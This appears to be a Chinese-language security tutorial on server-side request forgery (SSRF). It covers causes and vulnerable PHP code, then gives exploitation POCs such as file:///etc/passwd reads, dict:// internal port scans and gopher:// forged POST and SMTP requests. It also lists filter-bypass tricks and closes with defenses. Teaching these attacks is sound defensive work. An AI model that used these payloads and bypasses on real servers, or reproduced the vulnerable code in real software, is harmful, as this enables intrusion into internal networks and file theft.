1. 程式人生 > 實用技巧 >4-16 SSRF漏洞

4-16 SSRF漏洞

4-16 SSRF漏洞

1. 漏洞原理

1. 背景:

網際網路上很多web應用提供了能向其他伺服器(也可以是當前伺服器本地)請求獲取資料的功能。一般來說,web應用會通過使用者指定的URL,去向其他伺服器發起請求獲取獲取圖片、檔案資源(下載或讀取)等。

如:百度識圖功能,就是一種典型的伺服器向其他伺服器請求獲取資料的功能。

2. 漏洞簡介:

SSRF(Server-Side Request Forgery,伺服器端請求偽造),是一種由攻擊者構造形成由服務端發起請求的一個安全漏洞。SSRF 形成的原因大都是由於服務端提供了從其他伺服器應用獲取資料的功能,且對客戶提供的URL和遠端伺服器返回的資訊沒有進行合適的限制、驗證或過濾。注意,請求的目標也不一定非得是其他遠端伺服器,可以利用伺服器向該伺服器自身發起請求。

注意:除了http/https等方式可以造成ssrf,類似tcp connect方式也可以探測內網一些ip的埠是否開發服務,只不過危害比較小。

一般情況下,SSRF攻擊的目標更多是從外網無法訪問的內部系統(正因為它是由服務端發起的,所以它能夠請求到與它相連而與外網隔離的內部系統),當然也有通過SSRF攻擊外網其他伺服器的情況。總之,SSRF的危害主要有:

  • 讀取/下載檔案

  • 埠掃描

  • 內網主機指紋識別

  • 攻擊內網主機

3. SSRF可能出現的地方:

只要能夠對外發起網路請求的地方就可能存在SSRF漏洞,例如:

另外還需注意,一些遠端檔案包含功能除了可能存在檔案包含漏洞,還可能存在SSRF漏洞。

  1. 社交分享功能:獲取超連結的標題等內容進行顯示

  2. 轉碼服務:通過URL地址把原地址的網頁內容調優使其適合手機螢幕瀏覽

  3. 線上翻譯:給網址翻譯對應網頁的內容

  4. 圖片載入/下載:例如富文字編輯器中的點選下載圖片到本地;通過URL地址載入或下載圖片

  5. 圖片/文章收藏功能:主要其會取URL地址中title以及文字的內容作為顯示以求一個好的用具體驗

  6. 雲服務廠商:它會遠端執行一些命令來判斷網站是否存活等,所以如果可以捕獲相應的資訊,就可以進行ssrf測試

  7. 網站採集,網站抓取的地方:一些網站會針對你輸入的url進行一些資訊採集工作

  8. 資料庫內建功能:資料庫的比如mongodb的copyDatabase函式

  9. 郵件系統:比如接收郵件伺服器地址

  10. 編碼處理, 屬性資訊處理,檔案處理:比如ffpmg,ImageMagick,docx,pdf,xml處理器等

  11. 未公開的api實現以及其他擴充套件呼叫URL的功能:可以利用google 語法加上這些關鍵字去尋找SSRF漏洞

    一些的url中的關鍵字:share、wap、url、link、src、source、target、u、3g、display、sourceURl、imageURL、domain……

  12. 從遠端伺服器請求資源(upload from url 如discuz! ;import&expost rss feed 如web blog;使用了xml引擎物件的地方 如wordpress xmlrpc.php)

4. 漏洞驗證:

  1. 排除法:瀏覽器f12檢視原始碼看是否是在本地進行了請求

    比如:該資源地址型別為 http://www.xxx.com/a.php?image=(地址) 的就可能存在SSRF漏洞

  2. dnslog等工具進行測試,看是否被訪問

    可以在盲打後臺用例中將當前準備請求的uri 和引數編碼成base64,這樣盲打後臺解碼後就知道是哪臺機器哪個cgi觸發的請求。

  3. 抓包分析傳送的請求是不是由伺服器的傳送的。如果不是我們客戶端發出的請求,則有可能是伺服器傳送的,接著找存在HTTP服務的內網地址:

    • 從漏洞平臺中的歷史漏洞尋找洩漏的存在web應用內網地址

    • 通過二級域名暴力猜解工具模糊猜測內網地址

  4. 直接返回的Banner、title、content等資訊

  5. 留意bool型SSRF

2. 漏洞程式碼

1. curl造成的SSRF:

function curl($url){ 
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);
}

$url = $_GET['url'];
curl($url);

2. file_get_contents造成的SSRF:

$url = $_GET['url'];;
echo file_get_contents($url);

3. fsockopen造成的SSRF:

function GetFile($host,$port,$link) 
{
$fp = fsockopen($host, intval($port), $errno, $errstr, 30);
if (!$fp)
{
echo "$errstr (error number $errno) \n";
}
else
{
$out = "GET $link HTTP/1.1\r\n";
$out .= "Host: $host\r\n";
$out .= "Connection: Close\r\n\r\n";
$out .= "\r\n";
fwrite($fp, $out);
$contents='';
while (!feof($fp))
{
$contents.= fgets($fp, 1024);
}
fclose($fp);
return $contents;
}
}

4. 例項(以curl造成的SSRF為例):

以下是一個服務端的原始碼,一段簡單的服務端實現向其他伺服器請求資源功能的程式碼,存在SSRF漏洞:

在服務端實現通過URL從其他伺服器(外部、內部或自身)獲取資源功能的方法有很多,本例項使用PHP+curl擴充套件來實現該功能。可通過phpinfo()來檢視伺服器端PHP對curl的擴充套件支援,現在的大多數wamp套件均支援curl擴充套件。

//index.php
<?php
if(isset($_REQUEST['url'])){
$link = $_REQUEST['url'];
$filename = './curled/'.time().'.txt';
$curlobj = curl_init($link);
$fp = fopen($filename,'w');
curl_setopt($curlobj, CURLOPT_FILE, $fp);
curl_setopt($curlobj, CURLOPT_HEADER, 0);
curl_setopt($curlobj, CURLOPT_FOLLOWLOCATION, TRUE);
curl_exec($curlobj);
curl_close($curlobj);
fclose($fp);
$fp = fopen($filename,"r");
$result = fread($fp, filesize($filename));
fclose($fp);
echo $result;
}else{
echo "?url=[url]";
}
?>

// 提交[?url=http://www.baidu.com],我們的伺服器就會請求百度的伺服器,並載入百度首頁的資源
// 同時,伺服器獲取到的資原始檔會儲存在[./curled]中,並以發起請求時間的unix時間戳來命名檔案。

3. 漏洞利用

3.1 讀取/下載檔案

我們可以通過SSRF漏洞來利用伺服器去發起請求向其他伺服器(外部、內部或自身)讀取或下載檔案。

POC:

www.test.com/test.php?url=http://www.baidu.com/robots.txt
www.test.com/test.php?url=http://www.test.com/hello.jpg

//示例使用http協議,還可以選擇gopher協議或file協議

3.2 埠掃描

我們可以通過SSRF漏洞來利用伺服器向其他伺服器(外部、內部或自身)傳送埠探測包。通過這種方式,可以將伺服器作為一個跳板,除了可以隱蔽自身,還可以去探測對方內網埠狀態。

  • 當探測的埠未開放時,返回的是空白或報錯資訊

  • 當探測的埠開放時,返回的是banner資訊(有的banner是會和報錯混在一起的,所以報錯並不一定全是埠未開放)

(類似於telnet去探測埠時返回的結果)

POC:

www.test.com/test.php?url=dict://127.0.0.1:22      //探測伺服器自身的埠
www.test.com/test.php?url=dict://192.168.10.2:3306 //探測伺服器所在內網主機的埠
www.test.com/test.php?url=dict://210.31.4.28:21 //探測外網上其他主機的開放埠

//示例使用http協議,還可以選擇gopher協議或file協議

3.3 內網主機指紋識別

識別內網主機上執行的服務、主機上架設的web應用所使用的框架、平臺、模組以及cms等。這可以為後續的內網滲透提供很多幫助。大多數web應用都有自己獨特的檔案和目錄等特點,稱為指紋,我們可以通過這些檔案識別出應用的型別,甚至詳細的版本,再針對性的蒐集該web應用對應的漏洞進行攻擊。

POC:

例如:www.test.com/test.php?url=http://localhost/phpmyadmin/README   //判斷對方phpmyadmin是否安裝及其詳細版本

//示例使用http協議,還可以選擇gopher協議或file協議

3.4 攻擊內網主機

內網的安全通常都很薄弱,溢位、弱口令等一般都是存在的。通過ssrf攻擊,可以實現對內網的訪問,從而可以攻擊內網主機。

4. SSRF所使用的協議

各個程式語言可以使用的協議如下圖所示:

4.1 gopher://協議

gopher協議在SSRF漏洞利用中號稱萬金油協議。

gopher協議是比http協議更早出現的協議,現在已經不常用了,但是在SSRF漏洞利用中gopher可以說是萬金油,因為可以使用gopher傳送各種格式的請求包,這樣便可以解決漏洞點不在GET引數的問題了。

  • gopher協議格式:gopher://host:port/<gopher-path>

例如:我們可以傳送一個POST請求,且引數file的值為robots.txt,這裡構造gopher請求的時候,回車換行符號要進行2次url編碼為%250d%250a,也就是說gopher協議一般會經過兩次URL編碼。

http://192.168.163.150/test.php?url=gopher://192.168.163.1:80/_POST /evil.php HTTP/1.1%0d%0aHost: 192.168.163.1%0d%0aUser-Agent: curl/7.43.0%0d%0aAccept: */*%250d%250aContent-Type:%20application/x-www-form-urlencoded%250d%250a%250d%250afile=robots.txt

//以上經兩次URL解碼後的明文:
http://192.168.163.150/test.php?url=gopher://192.168.163.1:80/_POST /evil.php HTTP/1.1
Host: 192.168.163.1
User-Agent: curl/7.43.0
Accept: */*
Content-Type: application/x-www-form-urlencoded

file=robots.txt

4.2 file:///協議

file協議還是和之前文章講述的一樣,可以訪問本地檔案系統,並讀取檔案內容,不再進行講述。

例如:請求 http://192.168.163.150/test.php?url=file:///etc/passwd便可以獲取敏感檔案的資訊。

4.3 dict://協議

對於SSRF漏洞來說,使用gopher無疑是最好的。但gopher協議需要服務端的擴充套件支援,且可能還受服務端的後端環境版本限制,所以當不能使用gopher協議時,dict協議也是一種選擇。

dict協議是一個字典伺服器協議,通常用於讓客戶端使用過程中能夠訪問更多的字典源,若是搭建了Dict伺服器如(Redis),則服務端和客戶端都通過TCP埠2628通訊。但是在SSRF中如果可以使用dict協議那麼就可以輕易的獲取目標伺服器埠上執行的服務版本等資訊,即通過dict協議去探測。

  • dict協議格式:dict://host:port/<命令>:<引數>

例如:請求http://192.168.163.150/test.php?url=dict://192.168.163.1:3306/info,就可以獲取目標主機的3306埠是否開放,其上是否執行著mysq並顯示其版本資訊。

5. SSRF繞過技巧

5.1 攻擊伺服器本地

?url=http://127.0.0.1:22      //埠探測
?url=http://localhost:80/     //嘗試檢查目錄遍歷漏洞
?url=http://0.0.0.0:22        //埠探測
?url=http://[::]:22           //埠探測
?url=file:///127.0.0.1/c:/hello.jpg    //讀取檔案

5.2 利用URL格式裡的@

URL格式裡@符號前面可以提交使用者名稱和密碼而後面才是真正要訪問的網站:[user:pwd@host:port]

有的網站後端會檢查你提交的URL裡有沒有它規定的必須要有的域名,一般是通過檢查URL裡是否存在這樣的字串。故我們可以通過user:pwd@host:port格式來繞過,將它檢查的字串放前面,這樣並不會影響我們真正要訪問的地址,又能騙過檢測。

?url=http://[email protected]
?url=http://[email protected]/   (與http://www.test.com/請求時是相同的)

5.3 xip.io來繞過

xip.io就是個dns解析服務,用於網站本地開發測試,但國內貌似不好使。

POC:http://xxx.192.168.0.1.xip.io/ == 192.168.0.1 (xxx 任意)

比如你需要測試一個web伺服器,但是你還沒申請域名,本地測試大多的辦法是修改hosts檔案,在hosts新增一個域名並對映到一個IP主機地址,現在有了xip.io就不用hosts了。

          10.0.0.1.xip.io   resolves to   10.0.0.1
      www.10.0.0.1.xip.io   resolves to   10.0.0.1
   mysite.10.0.0.1.xip.io   resolves to   10.0.0.1
  foo.bar.10.0.0.1.xip.io   resolves to   10.0.0.1

類似這樣的格式都解析為 10.0.0.1
http://域名+地址+xip.io,將解析到對應地址。

5.4 利用目標網站的短地址

短地址就是把普通網址,轉換成比較短的網址。比如:http://t.cn/RlB2PdD

這種,在微博這些限制字數的應用裡。好處不言而喻。短、字元少、美觀、便於釋出、傳播。

http://dwz.cn/11SMa  >>>  http://127.0.0.1

原理:

當我們在瀏覽器裡輸入 http://t.cn/RlB2PdD時:

  1. DNS首先解析獲得 http://t.cnIP 地址

  2. DNS 獲得 IP 地址以後(比如:74.125.225.72),會向這個地址傳送 HTTP GET 請求,查詢短碼 RlB2PdD

  3. http://t.cn 伺服器會通過短碼 RlB2PdD 獲取對應的長 URL

  4. 請求通過 HTTP 301 轉到對應的長 URL https://m.helijia.com

小知識:為什麼要用 301 跳轉而不是 302 ?

301 是永久重定向,302 是臨時重定向。短地址一經生成就不會變化,所以用 301 是符合 http 語義的。同時對伺服器壓力也會有一定減少。但是如果使用了 301,我們就無法統計到短地址被點選的次數了。而這個點選次數是一個非常有意思的大資料分析資料來源。能夠分析出的東西非常非常多。所以選擇302雖然會增加伺服器壓力,但是可能會是一個更好的選擇。

5.5 利用Enclosed alphanumerics

中文譯作:包圍起來的字母數字,是Unicode中的字符集。因為數學、物理及一些科技領域使用了很多特殊符號,所以Unicode碼中也設有對應的碼位,列出其碼錶,以方便使用。

?url=ⓦⓦⓦ.ⓑⓐⓘⓓⓤ.ⓒⓞⓜ  >>>  ?url=www.baidu.com

List:
① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ 
⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ 
⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛ 
⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵ 
Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ 
ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ 
⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ 
⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿

5.6 利用中文句號

?url=127。0。0。1  >>>  ?url=127.0.0.1

5.7 利用IP地址的進位制轉換

先將IP轉為二進位制,再由二進位制轉為16進位制或8進位制。
http://182.61.200.7/  >>>  http://0xB63DC807/ (十六進位制)
http://182.61.200.7/  >>>  http://026617344007/ (八進位制)

0開始表示8進位制,0x開始表示16進位制,沒有專門的二進位制表示方法。
(注意:8進製表示時,前面可以加一個0也可以是多個0 跟XSS中多加幾個0來繞過過濾一樣)

5.8 利用各種對方伺服器支援的協議

Dict://
	ssrf.php?url=dict://attacker:11111/
SFTP://
	ssrf.php?url=sftp://example.com:11111/
TFTP://
	ssrf.php?url=tftp://example.com:12346/TESTUDPPACKET
LDAP://
	ssrf.php?url=ldap://localhost:11211/%0astats%0aquit
Gopher://
	ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%[email protected]%3E%250d%250aRCPT%20TO%3A%[email protected]%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%[email protected]%3E%250d%250aTo%3A%20%[email protected]%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a

6. SSRF的防禦

  • 限制協議:

    禁用不需要的協議,僅允許http和https請求。可以防止類似於file://,gopher://,ftp://等引起的問題

  • 限制IP:

    避免應用被用來獲取內網資料、攻擊內網

  • 限制埠:

    限制請求的埠為http常用埠,如:80、443、8080、8090等

  • 過濾返回資訊:

    驗證遠端伺服器對請求的響應是比較簡單的方法。如果web應用是去獲取某一種型別的檔案,那麼在把返回結果展示給使用者之前先驗證返回的資訊是否符合標準。

  • 統一錯誤資訊:

    免使用者可以根據錯誤資訊來判斷遠端伺服器的埠狀態。